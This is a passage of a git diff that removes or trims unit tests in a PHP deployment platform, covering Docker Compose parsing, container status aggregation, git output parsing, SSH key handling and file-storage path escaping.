-
-it('verifies array check occurs before preg_match in traefik middleware parsing', function () {
- // Read the fqdnLabelsForTraefik function from docker.php
- $dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
-
- // Get the position of array check and preg_match call
- $arrayCheckPos = strpos($dockerFile, 'if (is_array($item)) {');
- $pregMatchPos = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item");
-
- // Ensure array check comes before preg_match call (find first occurrence after array check)
- $pregMatchAfterArrayCheck = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item", $arrayCheckPos);
- expect($arrayCheckPos)
- ->toBeLessThan($pregMatchAfterArrayCheck)
- ->toBeGreaterThan(0);
-});
diff --git a/tests/Unit/DockerComposeRawContentRemovalTest.php b/tests/Unit/DockerComposeRawContentRemovalTest.php
deleted file mode 100644
index cb5be6b6e0..0000000000
--- a/tests/Unit/DockerComposeRawContentRemovalTest.php
+++ /dev/null
@@ -1,110 +0,0 @@
-toContain('$compose = data_get($resource, \'docker_compose_raw\');')
- ->toContain('// Store original compose for later use to update docker_compose_raw with content removed')
- ->toContain('$originalCompose = $compose;');
-});
-
-it('ensures serviceParser stores original compose before processing', function () {
- // Read the serviceParser function from parsers.php
- $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
-
- // Check that originalCompose is stored at the start of the function
- expect($parsersFile)
- ->toContain('function serviceParser(Service $resource): Collection')
- ->toContain('$compose = data_get($resource, \'docker_compose_raw\');')
- ->toContain('// Store original compose for later use to update docker_compose_raw with content removed')
- ->toContain('$originalCompose = $compose;');
-});
-
-it('ensures applicationParser updates docker_compose_raw from original compose, not cleaned compose', function () {
- // Read the applicationParser function from parsers.php
- $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
-
- // Check that docker_compose_raw is set from originalCompose, not cleanedCompose
- expect($parsersFile)
- ->toContain('$originalYaml = Yaml::parse($originalCompose);')
- ->toContain("\$resource->docker_compose_raw = removeComposeVolumeFieldsPreservingComments(\$originalCompose, \$originalYaml, ['content', 'isDirectory', 'is_directory']);")
- ->not->toContain('$resource->docker_compose_raw = $cleanedCompose;');
-});
-
-it('ensures serviceParser updates docker_compose_raw from original compose, not cleaned compose', function () {
- // Read the serviceParser function from parsers.php
- $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
-
- // Find the serviceParser function content
- $serviceParserStart = strpos($parsersFile, 'function serviceParser(Service $resource): Collection');
- $serviceParserContent = substr($parsersFile, $serviceParserStart);
-
- // Check that docker_compose_raw is set from originalCompose within serviceParser
- expect($serviceParserContent)
- ->toContain('$originalYaml = Yaml::parse($originalCompose);')
- ->toContain("\$resource->docker_compose_raw = removeComposeVolumeFieldsPreservingComments(\$originalCompose, \$originalYaml, ['content', 'isDirectory', 'is_directory']);")
- ->not->toContain('$resource->docker_compose_raw = $cleanedCompose;');
-});
-
-it('ensures applicationParser removes content, isDirectory, and is_directory from volumes', function () {
- // Read the applicationParser function from parsers.php
- $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
-
- // Check that content removal logic exists
- expect($parsersFile)
- ->toContain('// Remove content, isDirectory, and is_directory from all volume definitions')
- ->toContain("unset(\$volume['content']);")
- ->toContain("unset(\$volume['isDirectory']);")
- ->toContain("unset(\$volume['is_directory']);");
-});
-
-it('ensures serviceParser removes content, isDirectory, and is_directory from volumes', function () {
- // Read the serviceParser function from parsers.php
- $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
-
- // Find the serviceParser function content
- $serviceParserStart = strpos($parsersFile, 'function serviceParser(Service $resource): Collection');
- $serviceParserContent = substr($parsersFile, $serviceParserStart);
-
- // Check that content removal logic exists within serviceParser
- expect($serviceParserContent)
- ->toContain('// Remove content, isDirectory, and is_directory from all volume definitions')
- ->toContain("unset(\$volume['content']);")
- ->toContain("unset(\$volume['isDirectory']);")
- ->toContain("unset(\$volume['is_directory']);");
-});
-
-it('ensures docker_compose_raw update is wrapped in try-catch for error handling', function () {
- // Read the parsers file
- $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
-
- // Check that docker_compose_raw update has error handling
- expect($parsersFile)
- ->toContain('// Update docker_compose_raw to remove content: from volumes only')
- ->toContain('// This keeps the original user input clean while preventing content reapplication')
- ->toContain('try {')
- ->toContain('$originalYaml = Yaml::parse($originalCompose);')
- ->toContain('} catch (Exception) {')
- ->toContain('// If parsing fails, keep the original docker_compose_raw unchanged');
-});
-
-it('does not reformat legacy raw Compose when no content is removed', function () {
- $source = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
- $parser = substr($source, strpos($source, 'function parseDockerComposeFile('), strpos($source, 'function generate_fluentd_configuration(') - strpos($source, 'function parseDockerComposeFile('));
-
- expect($parser)
- ->toContain('if ($yaml !== $originalYaml) {')
- ->toContain("data_forget(\$yaml, 'services.*.volumes.*.content')");
- expect(substr_count($parser, "\$resource->docker_compose_raw = removeComposeVolumeFieldsPreservingComments(\$resource->docker_compose_raw, \$yaml, ['content']);"))->toBe(1);
-});
diff --git a/tests/Unit/ExcludeFromHealthCheckTest.php b/tests/Unit/ExcludeFromHealthCheckTest.php
deleted file mode 100644
index b311264245..0000000000
--- a/tests/Unit/ExcludeFromHealthCheckTest.php
+++ /dev/null
@@ -1,131 +0,0 @@
-toContain('// If all containers are excluded, calculate status from excluded containers')
- ->toContain('// but mark it with :excluded to indicate monitoring is disabled')
- ->toContain('if ($relevantContainers->isEmpty()) {')
- ->toContain('return $this->calculateExcludedStatus($containers, $excludedContainers);');
-
- // Check that the trait uses ContainerStatusAggregator and appends :excluded suffix
- $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
- expect($traitFile)
- ->toContain('ContainerStatusAggregator')
- ->toContain('appendExcludedSuffix')
- ->toContain('$aggregator->aggregateFromContainers($excludedOnly)')
- ->toContain("return 'degraded:excluded';")
- ->toContain("return 'paused:excluded';")
- ->toContain("return 'exited';")
- ->toContain('return "$status:excluded";'); // For running:healthy:excluded
-});
-
-it('ensures Service model returns excluded status when all services excluded', function () {
- $serviceModelFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
-
- // Check that when all services are excluded from status checks,
- // the Service model calculates real status and returns it with :excluded suffix
- expect($serviceModelFile)
- ->toContain('exclude_from_status')
- ->toContain(':excluded')
- ->toContain('CalculatesExcludedStatus');
-});
-
-it('ensures Service model returns unknown:unknown:excluded when no containers exist', function () {
- $serviceModelFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
-
- // Check that when a service has no applications or databases at all,
- // the Service model returns 'unknown:unknown:excluded' instead of 'exited'
- // This prevents misleading status display when containers don't exist
- expect($serviceModelFile)
- ->toContain('// If no status was calculated at all (no containers exist), return unknown')
- ->toContain('if ($excludedStatus === null && $excludedHealth === null) {')
- ->toContain("return 'unknown:unknown:excluded';");
-});
-
-it('ensures GetContainersStatus calculates excluded status when all containers excluded', function () {
- $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // Check that when all containers are excluded, the aggregateApplicationStatus
- // method calculates and returns status with :excluded suffix
- expect($getContainersStatusFile)
- ->toContain('// If all containers are excluded, calculate status from excluded containers')
- ->toContain('if ($relevantStatuses->isEmpty()) {')
- ->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);');
-});
-
-it('ensures exclude_from_hc flag is properly checked in ComplexStatusCheck', function () {
- $complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
-
- // Verify that exclude_from_hc is parsed using trait helper
- expect($complexStatusCheckFile)
- ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
-});
-
-it('ensures exclude_from_hc flag is properly checked in GetContainersStatus', function () {
- $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // Verify that exclude_from_hc is parsed using trait helper
- expect($getContainersStatusFile)
- ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
-});
-
-/**
- * Unit tests for YAML validation in CalculatesExcludedStatus trait
- */
-it('ensures YAML validation has proper exception handling for parse errors', function () {
- $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
-
- // Verify that ParseException is imported and caught separately from generic Exception
- expect($traitFile)
- ->toContain('use Symfony\Component\Yaml\Exception\ParseException')
- ->toContain('use Illuminate\Support\Facades\Log')
- ->toContain('} catch (ParseException $e) {')
- ->toContain('} catch (\Exception $e) {');
-});
-
-it('ensures YAML validation logs parse errors with context', function () {
- $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
-
- // Verify that parse errors are logged with useful context (error message, line, snippet)
- expect($traitFile)
- ->toContain('Log::warning(\'Failed to parse Docker Compose YAML for health check exclusions\'')
- ->toContain('\'error\' => $e->getMessage()')
- ->toContain('\'line\' => $e->getParsedLine()')
- ->toContain('\'snippet\' => $e->getSnippet()');
-});
-
-it('ensures YAML validation logs unexpected errors', function () {
- $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
-
- // Verify that unexpected errors are logged with error level
- expect($traitFile)
- ->toContain('Log::error(\'Unexpected error parsing Docker Compose YAML\'')
- ->toContain('\'trace\' => $e->getTraceAsString()');
-});
-
-it('ensures YAML validation checks structure after parsing', function () {
- $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
-
- // Verify that parsed result is validated to be an array
- expect($traitFile)
- ->toContain('if (! is_array($dockerCompose)) {')
- ->toContain('Log::warning(\'Docker Compose YAML did not parse to array\'');
-
- // Verify that services is validated to be an array
- expect($traitFile)
- ->toContain('if (! is_array($services)) {')
- ->toContain('Log::warning(\'Docker Compose services is not an array\'');
-});
diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php
index eb7177527a..181d9d95d5 100644
--- a/tests/Unit/FileStorageSecurityTest.php
+++ b/tests/Unit/FileStorageSecurityTest.php
@@ -51,27 +51,6 @@ test('file storage rejects reverse shell payload', function () {
->toThrow(Exception::class);
});
-test('file storage escapes paths properly', function () {
- $path = "/var/www/app's data";
- $escaped = escapeshellarg($path);
-
- expect($escaped)->toBe("'/var/www/app'\\''s data'");
-});
-
-test('file storage escapes paths with spaces', function () {
- $path = '/var/www/my app/data';
- $escaped = escapeshellarg($path);
-
- expect($escaped)->toBe("'/var/www/my app/data'");
-});
-
-test('file storage escapes paths with special characters', function () {
- $path = '/var/www/app (production)/data';
- $escaped = escapeshellarg($path);
-
- expect($escaped)->toBe("'/var/www/app (production)/data'");
-});
-
test('file storage accepts legitimate absolute paths', function () {
expect(fn () => validateShellSafePath('/var/www/app', 'storage path'))
->not->toThrow(Exception::class);
@@ -211,14 +190,6 @@ test('local file volume write sink keeps saved managed file paths for compatibil
->and($source)->toContain('tee {$escapedPath}');
});
-test('host file mounts are bind-only and skipped by server storage writes', function () {
- $source = file_get_contents(__DIR__.'/../../app/Models/LocalFileVolume.php');
-
- expect($source)->toContain('if ($this->is_host_file) {')
- ->and($source)->toContain('return;')
- ->and($source)->toContain('tee {$escapedPath}');
-});
-
test('file storage quotes owner and mode as single command arguments', function () {
$source = file_get_contents(__DIR__.'/../../app/Models/LocalFileVolume.php');
@@ -236,13 +207,3 @@ test('file storage permissions cannot be set by mass assignment', function () {
expect($volume->chown)->toBeNull()
->and($volume->chmod)->toBeNull();
});
-
-test('internal SSL files retain their private and public modes', function () {
- $source = file_get_contents(__DIR__.'/../../app/Helpers/SslHelper.php');
-
- expect($source)
- ->toContain("\$fileStorage->chmod = '600';")
- ->toContain("\$fileStorage->chmod = '644';")
- ->toContain('$fileStorage->save();')
- ->not->toContain("'chmod' =>");
-});
diff --git a/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php b/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php
deleted file mode 100644
index d4271d3eec..0000000000
--- a/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php
+++ /dev/null
@@ -1,54 +0,0 @@
-toContain('$notRunningApplications = $this->applications->pluck(\'id\')->diff($foundApplications);');
-
- // Count occurrences of the safeguard pattern in the not-found sections
- $safeguardPattern = '// Only protection: If no containers at all, Docker query might have failed';
- $safeguardCount = substr_count($actionFile, $safeguardPattern);
-
- // Should appear at least 4 times: applications, previews, databases, services
- expect($safeguardCount)->toBeGreaterThanOrEqual(4);
-});
-
-it('has empty container safeguard for databases', function () {
- $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // Extract the database not-found section
- $databaseSectionStart = strpos($actionFile, '$notRunningDatabases = $databases->pluck(\'id\')->diff($foundDatabases);');
- expect($databaseSectionStart)->not->toBeFalse('Database not-found section should exist');
-
- // Get the code between database section start and the next major section
- $databaseSection = substr($actionFile, $databaseSectionStart, 500);
-
- // The empty container safeguard must exist in the database section
- expect($databaseSection)->toContain('$this->containers->isEmpty()');
-});
-
-it('has empty container safeguard for services', function () {
- $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // Extract the service exited section
- $serviceSectionStart = strpos($actionFile, '$exitedServices = $exitedServices->unique(\'uuid\');');
- expect($serviceSectionStart)->not->toBeFalse('Service exited section should exist');
-
- // Get the code in the service exited loop
- $serviceSection = substr($actionFile, $serviceSectionStart, 500);
-
- // The empty container safeguard must exist in the service section
- expect($serviceSection)->toContain('$this->containers->isEmpty()');
-});
diff --git a/tests/Unit/GetContainersStatusServiceAggregationTest.php b/tests/Unit/GetContainersStatusServiceAggregationTest.php
index e36e32b02d..f1c85fa17b 100644
--- a/tests/Unit/GetContainersStatusServiceAggregationTest.php
+++ b/tests/Unit/GetContainersStatusServiceAggregationTest.php
@@ -2,86 +2,10 @@
use App\Services\ContainerStatusAggregator;
-/**
- * Unit tests for GetContainersStatus service aggregation logic (SSH path).
- *
- * These tests verify that the SSH-based status updates (GetContainersStatus)
- * correctly aggregates container statuses for services with multiple containers,
- * using the same logic as PushServerUpdateJob (Sentinel path).
- *
- * This ensures consistency across both status update paths and prevents
- * race conditions where the last container processed wins.
- */
-it('implements service multi-container aggregation in SSH path', function () {
- $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // Verify service container collection property exists
- expect($actionFile)
- ->toContain('protected ?Collection $serviceContainerStatuses;');
-
- // Verify aggregateServiceContainerStatuses method exists
- expect($actionFile)
- ->toContain('private function aggregateServiceContainerStatuses($services)')
- ->toContain('$this->aggregateServiceContainerStatuses($services);');
-
- // Verify service aggregation uses the shared aggregator, like applications
- expect($actionFile)
- ->toContain('use App\\Services\\ContainerStatusAggregator;')
- ->toContain('$aggregator = new ContainerStatusAggregator;');
-});
-
it('services use same priority as applications in SSH path', function () {
- $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // Both aggregation methods delegate the priority logic to ContainerStatusAggregator
- expect($actionFile)
- ->toContain('return $aggregator->aggregateFromStrings($relevantStatuses, $maxRestartCount, preserveRestarting: true);')
- ->toContain('$aggregatedStatus = $aggregator->aggregateFromStrings($relevantStatuses, preserveRestarting: true);');
-
// The shared aggregator prioritizes unhealthy > unknown > healthy
$aggregator = new ContainerStatusAggregator;
expect($aggregator->aggregateFromStrings(collect(['running (healthy)', 'running (unknown)', 'running (unhealthy)'])))->toBe('running:unhealthy')
->and($aggregator->aggregateFromStrings(collect(['running (healthy)', 'running (unknown)'])))->toBe('running:unknown')
->and($aggregator->aggregateFromStrings(collect(['running (healthy)', 'running (healthy)'])))->toBe('running:healthy');
});
-
-it('collects service containers before aggregating in SSH path', function () {
- $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // Verify service containers are collected, not immediately updated
- expect($actionFile)
- ->toContain('$key = $serviceLabelId.\':\'.$subType.\':\'.$subId;')
- ->toContain('$this->serviceContainerStatuses->get($key)->put($containerName, $containerStatus);');
-
- // Verify aggregation happens before ServiceChecked dispatch
- expect($actionFile)
- ->toContain('$this->aggregateServiceContainerStatuses($services);')
- ->toContain('ServiceChecked::dispatch($this->server->team->id);');
-});
-
-it('SSH and Sentinel paths use identical service aggregation logic', function () {
- $jobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
- $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // Both paths delegate status aggregation to the same shared service
- foreach ([$jobFile, $actionFile] as $file) {
- expect($file)
- ->toContain('use App\\Services\\ContainerStatusAggregator;')
- ->toContain('$aggregator = new ContainerStatusAggregator;')
- ->toContain('$aggregator->aggregateFromStrings($relevantStatuses,')
- ->toContain('preserveRestarting: true);');
- }
-});
-
-it('handles service status updates consistently', function () {
- $jobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
- $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // Both should parse service key with same format
- expect($jobFile)->toContain('[$serviceId, $subType, $subId] = explode(\':\', $key);');
- expect($actionFile)->toContain('[$serviceId, $subType, $subId] = explode(\':\', $key);');
-
- // Both should handle excluded containers through the shared trait helper
- expect($jobFile)->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
- expect($actionFile)->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
-});
diff --git a/tests/Unit/GitLsRemoteParsingTest.php b/tests/Unit/GitLsRemoteParsingTest.php
deleted file mode 100644
index fce51a210a..0000000000
--- a/tests/Unit/GitLsRemoteParsingTest.php
+++ /dev/null
@@ -1,77 +0,0 @@
-toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
-});
-
-it('extracts commit SHA from git ls-remote output with redirect warning on separate line', function () {
- $output = "warning: redirecting to https://tangled.org/@tangled.org/core/\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
-
- preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
- $commit = $matches[1] ?? null;
-
- expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
-});
-
-it('extracts commit SHA from git ls-remote output with redirect warning on same line', function () {
- // This is the actual format from tangled.sh - warning and result on same line, no newline
- $output = "warning: redirecting to https://tangled.org/@tangled.org/core/196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
-
- preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
- $commit = $matches[1] ?? null;
-
- expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
-});
-
-it('extracts commit SHA from git ls-remote output with multiple warning lines', function () {
- $output = "warning: redirecting to https://example.org/repo/\ninfo: some other message\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/main";
-
- preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
- $commit = $matches[1] ?? null;
-
- expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
-});
-
-it('handles git ls-remote output with extra whitespace', function () {
- $output = " 196d3df7665359a8c8fa3329a6bcde0267e550bf \trefs/heads/master";
-
- preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
- $commit = $matches[1] ?? null;
-
- expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
-});
-
-it('extracts commit SHA with uppercase letters and normalizes to lowercase', function () {
- $output = "196D3DF7665359A8C8FA3329A6BCDE0267E550BF\trefs/heads/master";
-
- preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
- $commit = $matches[1] ?? null;
-
- // Git SHAs are case-insensitive, so we normalize to lowercase for comparison
- expect(strtolower($commit))->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
-});
-
-it('returns null when no commit SHA is present in output', function () {
- $output = "warning: redirecting to https://example.org/repo/\nError: repository not found";
-
- preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
- $commit = $matches[1] ?? null;
-
- expect($commit)->toBeNull();
-});
-
-it('returns null when output has tab but no valid SHA', function () {
- $output = "invalid-sha-format\trefs/heads/master";
-
- preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
- $commit = $matches[1] ?? null;
-
- expect($commit)->toBeNull();
-});
diff --git a/tests/Unit/HetznerSshKeysTest.php b/tests/Unit/HetznerSshKeysTest.php
deleted file mode 100644
index 06c6b06e66..0000000000
--- a/tests/Unit/HetznerSshKeysTest.php
+++ /dev/null
@@ -1,53 +0,0 @@
-toBe([123, 456, 789])
- ->and(count($sshKeys))->toBe(3);
-});
-
-it('removes duplicate SSH key IDs', function () {
- $coolifyKeyId = 123;
- $selectedHetznerKeys = [123, 456, 789]; // User also selected Coolify key
-
- // Simulate the merge and deduplication logic
- $sshKeys = array_merge(
- [$coolifyKeyId],
- $selectedHetznerKeys
- );
- $sshKeys = array_unique($sshKeys);
- $sshKeys = array_values($sshKeys);
-
- expect($sshKeys)->toBe([123, 456, 789])
- ->and(count($sshKeys))->toBe(3);
-});
-
-it('works with no selected Hetzner keys', function () {
- $coolifyKeyId = 123;
- $selectedHetznerKeys = [];
-
- // Simulate the merge logic
- $sshKeys = array_merge(
- [$coolifyKeyId],
- $selectedHetznerKeys
- );
-
- expect($sshKeys)->toBe([123])
- ->and(count($sshKeys))->toBe(1);
-});
-
-it('validates SSH key IDs are integers', function () {
- $selectedHetznerKeys = [456, 789, 1011];
-
- foreach ($selectedHetznerKeys as $keyId) {
- expect($keyId)->toBeInt();
- }
-});
diff --git a/tests/Unit/Livewire/BoardingPrerequisitesTest.php b/tests/Unit/Livewire/BoardingPrerequisitesTest.php
deleted file mode 100644
index 180a274d28..0000000000
--- a/tests/Unit/Livewire/BoardingPrerequisitesTest.php
+++ /dev/null
@@ -1,181 +0,0 @@
-makePartial();
- $server->shouldReceive('validatePrerequisites')
- ->andReturn([
- 'success' => false,
- 'missing' => ['git'],
- 'found' => ['curl', 'jq'],
- ]);
-
- $activity = Mockery::mock(Activity::class);
- $activity->id = 'test-activity-123';
- $server->shouldReceive('installPrerequisites')
- ->once()
- ->andReturn($activity);
-
- $component = Mockery::mock(Index::class)->makePartial();
- $component->createdServer = $server;
- $component->prerequisiteInstallAttempts = 0;
- $component->maxPrerequisiteInstallAttempts = 3;
-
- // Key assertion: verify activityMonitor event is dispatched with correct params
- $component->shouldReceive('dispatch')
- ->once()
- ->with('activityMonitor', 'test-activity-123', 'prerequisitesInstalled')
- ->andReturnSelf();
-
- // Invoke the prerequisite check logic (simulating what validateServer does)
- $validationResult = $component->createdServer->validatePrerequisites();
- if (! $validationResult['success']) {
- if ($component->prerequisiteInstallAttempts >= $component->maxPrerequisiteInstallAttempts) {
- throw new Exception('Max attempts exceeded');
- }
- $activity = $component->createdServer->installPrerequisites();
- $component->prerequisiteInstallAttempts++;
- $component->dispatch('activityMonitor', $activity->id, 'prerequisitesInstalled');
- }
-
- expect($component->prerequisiteInstallAttempts)->toBe(1);
-});
-
-it('does not retry when prerequisites install successfully', function () {
- // This test verifies the callback behavior when installation succeeds.
-
- $server = Mockery::mock(Server::class)->makePartial();
- $server->shouldReceive('validatePrerequisites')
- ->andReturn([
- 'success' => true,
- 'missing' => [],
- 'found' => ['git', 'curl', 'jq'],
- ]);
-
- // installPrerequisites should NOT be called again
- $server->shouldNotReceive('installPrerequisites');
-
- $component = Mockery::mock(Index::class)->makePartial();
- $component->createdServer = $server;
- $component->prerequisiteInstallAttempts = 1;
- $component->maxPrerequisiteInstallAttempts = 3;
-
- // Simulate the callback logic
- $validationResult = $component->createdServer->validatePrerequisites();
- if ($validationResult['success']) {
- // Prerequisites are now valid, we'd call continueValidation()
- // For the test, just verify we don't try to install again
- expect($validationResult['success'])->toBeTrue();
- }
-});
-
-it('retries when prerequisites still missing after callback', function () {
- // This test verifies retry logic in the callback.
-
- $server = Mockery::mock(Server::class)->makePartial();
- $server->shouldReceive('validatePrerequisites')
- ->andReturn([
- 'success' => false,
- 'missing' => ['git'],
- 'found' => ['curl', 'jq'],
- ]);
-
- $activity = Mockery::mock(Activity::class);
- $activity->id = 'retry-activity-456';
- $server->shouldReceive('installPrerequisites')
- ->once()
- ->andReturn($activity);
-
- $component = Mockery::mock(Index::class)->makePartial();
- $component->createdServer = $server;
- $component->prerequisiteInstallAttempts = 1; // Already tried once
- $component->maxPrerequisiteInstallAttempts = 3;
-
- $component->shouldReceive('dispatch')
- ->once()
- ->with('activityMonitor', 'retry-activity-456', 'prerequisitesInstalled')
- ->andReturnSelf();
-
- // Simulate callback logic
- $validationResult = $component->createdServer->validatePrerequisites();
- if (! $validationResult['success']) {
- if ($component->prerequisiteInstallAttempts < $component->maxPrerequisiteInstallAttempts) {
- $activity = $component->createdServer->installPrerequisites();
- $component->prerequisiteInstallAttempts++;
- $component->dispatch('activityMonitor', $activity->id, 'prerequisitesInstalled');
- }
- }
-
- expect($component->prerequisiteInstallAttempts)->toBe(2);
-});
-
-it('throws exception when max attempts exceeded', function () {
- // This test verifies that we stop retrying after max attempts.
-
- $server = Mockery::mock(Server::class)->makePartial();
- $server->shouldReceive('validatePrerequisites')
- ->andReturn([
- 'success' => false,
- 'missing' => ['git', 'curl'],
- 'found' => ['jq'],
- ]);
-
- // installPrerequisites should NOT be called when at max attempts
- $server->shouldNotReceive('installPrerequisites');
-
- $component = Mockery::mock(Index::class)->makePartial();
- $component->createdServer = $server;
- $component->prerequisiteInstallAttempts = 3; // Already at max
- $component->maxPrerequisiteInstallAttempts = 3;
-
- // Simulate callback logic - should throw exception
- $validationResult = $component->createdServer->validatePrerequisites();
- if (! $validationResult['success']) {
- if ($component->prerequisiteInstallAttempts >= $component->maxPrerequisiteInstallAttempts) {
- $missingCommands = implode(', ', $validationResult['missing']);
- throw new Exception("Prerequisites ({$missingCommands}) could not be installed after {$component->maxPrerequisiteInstallAttempts} attempts.");
- }
- }
-})->throws(Exception::class, 'Prerequisites (git, curl) could not be installed after 3 attempts');
-
-it('does not install when prerequisites already present', function () {
- // This test verifies we skip installation when everything is already installed.
-
- $server = Mockery::mock(Server::class)->makePartial();
- $server->shouldReceive('validatePrerequisites')
- ->andReturn([
- 'success' => true,
- 'missing' => [],
- 'found' => ['git', 'curl', 'jq'],
- ]);
-
- // installPrerequisites should NOT be called
- $server->shouldNotReceive('installPrerequisites');
-
- $component = Mockery::mock(Index::class)->makePartial();
- $component->createdServer = $server;
- $component->prerequisiteInstallAttempts = 0;
- $component->maxPrerequisiteInstallAttempts = 3;
-
- // Simulate validation logic
- $validationResult = $component->createdServer->validatePrerequisites();
- if (! $validationResult['success']) {
- // Should not reach here
- $component->prerequisiteInstallAttempts++;
- }
-
- // Attempts should remain 0
- expect($component->prerequisiteInstallAttempts)->toBe(0);
- expect($validationResult['success'])->toBeTrue();
-});
diff --git a/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php b/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php
index 4567b91f37..61eecbdead 100644
--- a/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php
+++ b/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php
@@ -3,25 +3,6 @@
use App\Livewire\Project\Shared\EnvironmentVariable\Add;
use Illuminate\Support\Facades\Auth;
-it('has availableSharedVariables computed property', function () {
- $component = new Add;
-
- // Check that the method exists
- expect(method_exists($component, 'availableSharedVariables'))->toBeTrue();
-});
-
-it('component has required properties for environment variable autocomplete', function () {
- $component = new Add;
-
- expect($component)->toHaveProperty('key')
- ->and($component)->toHaveProperty('value')
- ->and($component)->toHaveProperty('is_multiline')
- ->and($component)->toHaveProperty('is_literal')
- ->and($component)->toHaveProperty('is_runtime')
- ->and($component)->toHaveProperty('is_buildtime')
- ->and($component)->toHaveProperty('parameters');
-});
-
it('returns empty arrays when currentTeam returns null', function () {
// Mock Auth facade to return null for user
Auth::shouldReceive('user')
@@ -39,18 +20,3 @@ it('returns empty arrays when currentTeam returns null', function () {
'server' => [],
]);
});
-
-it('availableSharedVariables method wraps authorization checks in try-catch blocks', function () {
- // Read the source code to verify the authorization pattern
- $reflectionMethod = new ReflectionMethod(Add::class, 'availableSharedVariables');
- $source = file_get_contents($reflectionMethod->getFileName());
-
- // Verify that the method contains authorization checks
- expect($source)->toContain('$this->authorize(\'view\', $team)')
- ->and($source)->toContain('$this->authorize(\'view\', $project)')
- ->and($source)->toContain('$this->authorize(\'view\', $environment)')
- ->and($source)->toContain('$this->authorize(\'view\', $server)')
- // Verify authorization checks are wrapped in try-catch blocks
- ->and($source)->toContain('use Illuminate\Auth\Access\AuthorizationException;')
- ->and($source)->toContain('} catch (AuthorizationException $e) {');
-});
diff --git a/tests/Unit/Livewire/Project/New/DockerComposeEnvVariableHandlingTest.php b/tests/Unit/Livewire/Project/New/DockerComposeEnvVariableHandlingTest.php
deleted file mode 100644
index 546e24a972..0000000000
--- a/tests/Unit/Livewire/Project/New/DockerComposeEnvVariableHandlingTest.php
+++ /dev/null
@@ -1,121 +0,0 @@
- ['value' => 'value1', 'comment' => null],
- 'KEY2' => ['value' => 'value2', 'comment' => 'This is a comment'],
- 'KEY3' => ['value' => 'value3', 'comment' => null],
- ];
-
- // Test the extraction logic
- foreach ($variables as $key => $data) {
- // Handle both array format ['value' => ..., 'comment' => ...] and plain string values
- $value = is_array($data) ? ($data['value'] ?? '') : $data;
